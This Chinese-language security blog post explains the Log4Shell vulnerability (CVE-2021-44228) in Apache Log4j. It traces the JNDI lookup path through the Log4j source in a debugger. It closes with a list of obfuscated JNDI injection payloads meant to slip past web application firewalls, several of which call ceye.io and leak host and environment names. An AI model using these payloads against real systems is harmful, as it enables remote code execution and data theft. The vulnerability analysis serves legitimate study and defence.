基本概述
Apache Log4j是一个流行的Java日志框架,用于将应用程序的日志输出到不同的目标,如文件、控制台或远程服务器。
2021年被爆存在远程代码执行漏洞,CVE漏洞编号为CVE-2021-44228,该漏洞可能导致远程代码执行,该漏洞的根本原因在于Log4j2中的一个特性,它允许开发人员通过特殊的日志消息来触发远程代码执行。具体来说,当Log4j2解析包含特定的JNDI(Java命名和目录接口)引用的日志消息时,它将尝试通过JNDI查找来获取对应资源的引用。攻击者可以构造一个恶意的JNDI引用,通过发送包含该引用的日志消息来触发远程代码执行。
影响版本
2.0.0 <= Apache Log4j <= 2.14.0
JDK影响版本是根据JDK本身版本有关,高版本也存在被绕过风险
Log4j使用基础
使用Log4j先引入依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
在 resources 文件夹中新建 log4j2.xml 文件,用于配置log4j
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
</Console>
<File name="File" fileName="logs/application.log">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
</File>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console" />
<AppenderRef ref="File" />
</Root>
</Loggers>
</Configuration>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Main.class);
logger.info("这是一条日志"); // 这是一条日志
logger.info("${java:os}"); // Mac OS X 10.16 unknown, architecture: x86_64-64
logger.info("${upper:aaa}"); // AAA
}
}
${} 在Log4j中被称为变量插值,它是一种特殊的语法,用于在日志消息中引用和替换变量的值,通过在 ${} 中指定变量名称,Log4j可以动态地将变量的值插入到日志消息中
需要注意的是,在Log4j中使用变量插值时,变量的值可以从不同的来源获取,例如系统属性、环境变量、配置文件等。这使得Log4j可以根据不同的部署环境和配置文件进行灵活的日志定制
CVE-2021-44228调试分析
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Main.class);
logger.info("${jndi:ldap://127.0.0.1:8085/kOXQHHlE}");
}
}



在 info 方法中,判断了是否开启了日志记录

调用了 logMessageSafely 方法,用于将日志安全的记录到日志文件中,确保不会记录日志消息时发生任何异常和错误,继续往下走

logMessageTrackRecursion 方法用于记录递归调用的日志信息,再继续往下走

tryLogMessage 方法尝试记录日志消息,分析切入点正是这里

在这个方法里其实就是调用了 log 方法,如果出现异常,则抛出异常,跟进 log 方法看一下


获取了 Logger 的日志记录器配置对象,再调用了 log 方法

在该方法中通过日志事件工厂对象 logEventFactory 创建了一个Log4j日志事件对象,并作为参数调用了 log 方法,继续往下走

这里调用 processLogEvent 方法处理日志事件


这里就是对日志事件的输出目标附加器进行遍历,我们再来看下在 callAppender 方法中做了什么

shouldSkip 方法用于控制和判断日志事件是否被过滤或是否存在递归调用,随后调用了 callAppenderPreventRecursion 预防递归调用附加器方法

到了这里尝试对Log4j日志事件对象调用附加器,继续跟进

这里将日志事件对象添加到 ConsoleAppender 附加器中
append 方法中调用了 tryAppend 方法,在该方法中判断了是否开启了直接编码器,默认是开启的,调用 directEncodeEvent 方法

在这里获取了日志事件布局,在日志事件布局中包含输出的格式、日期、日志级别、消息内容等信息,再调用了日志事件布局对象的 encode 方法

调用 toText 方法将日志事件序列化为字符串

在该方法中调用序列化器的 toSerializable 方法,serializer 其实就是模式序列化器,有如下的模式格式化器:
DatePatternConverter
LiteralPatternConverter
ThreadNamePatternConverter
LiteralPatternConverter
LevelPatternConverter
LiteralPatternConverter
LoggerPatternConverter
LiteralPatternConverter
MessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter
我们需要关注是 MessagePatternConverter 消息格式转换器,因为只有这一格式转换器是我们可控的,也就是一开始传入的参数 message,我们跟进一下toSerializable方法

这里其实就是对模式序列化器进行遍历格式化调用 format 方法,我们的关注点是在 MessagePatternConverter 中,所以跳过无关紧要的格式转换器,直接到索引为8的 PatternFormatter 模式格式化器 format 方法中看做了什么

调用了转换器的 format 方法,目前的转换器是 MessagePatternConverter


msg 对象中的 message 就是我们一开始传入参数的日志消息,随后将 msg 对象强转成 StringBuilderFormattable 类型再调用了 formatTo 方法
workingBuilder 对象存放的就是日志输出的前缀信息

这里其实就是将 message 内容追加到 workingBuilder 中

noLookups 默认为false,这里对 workingBuilder 内容进行遍历,判断第一个字符和第二个字符是否分别为 $ 和 { 符号,value 变量就是截取的字符串 ${jndi:ldap://127.0.0.1:8085/kOXQHHlE},接着设置 workingBuilder 的长度为 offset,并追加内容为 config.getStrSubstitutor().replace() 方法的返回值

replace 方法中调用了 substitute 方法

substitute 方法的前面部分主要是获取了变量的前缀和后缀匹配器,前缀匹配器为 $ 和 {,后缀匹配器为 },再获取了转义特殊字符的转义字符也就是 $ 和分隔符匹配器 : 和 -,接着就是把 buf 对象转换为字符数组,从0开始循环一直到这个字符串的长度38为止,然后依次循环匹配是否到前缀匹配器,前两个就匹配到了,返回值不是0所以走else语句



接着就是继续循环查找后缀匹配器

bufName 变量就是去掉前缀和后缀匹配器后的字符串,然后再调用了 substitute 方法

还是到了这个方法里,再重复上面的操作,一直找前缀匹配器找不到,后面接着查找分隔符匹配器也没有找到,然后就是调用 resolveVariable 方法解析变量


在该方法里获取了变量解析器,解析器支持的Lookup如上图所示

对 var 的字符串以 : 分割,获取了后面的内容,并且获取字符串的前缀 jndi,再从 StrLookupMap 对象中查找对应的 Lookup 类,接着就是调用了 JndiLookup 类的 lookup 方法

然后就是获取了默认的JNDI管理器,通过该管理器调用 lookup 方法


这里就是调用了原生的 lookup 方法,后面就是JNDI注入了,执行了恶意ldap服务上的恶意代码,最终成功执行
Payload变形绕过WAF
${jndi:ldap://127.0.0.1:1389/a}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
${${::-j}ndi:rmi://ceye.io/a}
${jndi:rmi://ceye.io}
${${lower:jndi}:${lower:rmi}://ceye.io/a}
${${lower:${lower:jndi}}:${lower:rmi}://ceye.io/a}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://ceye.io/a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${upper:jndi}:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.ceye.io}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.ceye.io}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.ceye.io
参考链接
Author: wileysec
Permalink: https://wileysec.github.io/91ba9d0d39fd.html
Comments